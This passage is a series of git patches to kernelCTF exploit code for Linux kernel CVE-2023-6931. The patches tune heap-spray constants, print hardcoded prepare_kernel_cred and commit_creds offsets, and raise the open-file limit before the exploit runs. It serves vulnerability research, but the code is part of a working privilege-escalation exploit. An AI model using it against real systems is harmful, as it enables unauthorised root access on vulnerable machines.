OBJS_PER_SLAB 16 #define SOCK_SLABS (2*OBJS_PER_SLAB) -#define SOCK_SPRAY (SOCK_SLABS+OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) #define XATTR_SPRAY1 1000 -#define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) +#define XATTR_SPRAY2 (SOCK_SLABS+OBJS_PER_SLAB) #define PREPARE_KERNEL_CRED 0x10d180 #define COMMIT_CREDS 0x10ced0 diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index 69d759e4..16d6babf 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -44,10 +44,10 @@ #define OBJS_PER_SLAB 16 #define SOCK_SLABS (2*OBJS_PER_SLAB) -#define SOCK_SPRAY (SOCK_SLABS+OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) #define XATTR_SPRAY1 1000 -#define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) +#define XATTR_SPRAY2 (SOCK_SLABS+OBJS_PER_SLAB) #define PREPARE_KERNEL_CRED 0x1bb6b0 #define COMMIT_CREDS 0x1bb410 From e8c3b206797e1212573bf25287f3ade4f4699be2 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 21:01:25 +0200 Subject: [PATCH 09/10] Increase open file limit --- .../exploit/cos-105-17412.226.28/exploit.c | 4 ++++ .../CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index bcfac930..635d111e 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -176,6 +176,10 @@ int main (int argc, char **argv) { int target_sock; int optval = 1; + struct rlimit rlim = { 4096, 4096 }; + if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) + err_exit("[-] setrlimit"); + pin_cpu(); set_attr(); diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index 16d6babf..122cfb1e 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -175,6 +175,10 @@ int main (int argc, char **argv) { int target_sock; int optval = 1; + struct rlimit rlim = { 4096, 4096 }; + if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) + err_exit("[-] setrlimit"); + pin_cpu(); set_attr(); From dcaeeb992d7f6cc96ead01abf7bae419db92ee93 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 21:03:41 +0200 Subject: [PATCH 10/10] Add header file --- .../CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c | 1 + .../kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c | 1 + 2 files changed, 2 insertions(+) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index 635d111e..96cafe81 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -13,6 +13,7 @@ #include #include #include +#include #include #include #include diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index 122cfb1e..91ad4ef8 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -13,6 +13,7 @@ #include #include #include +#include #include #include #include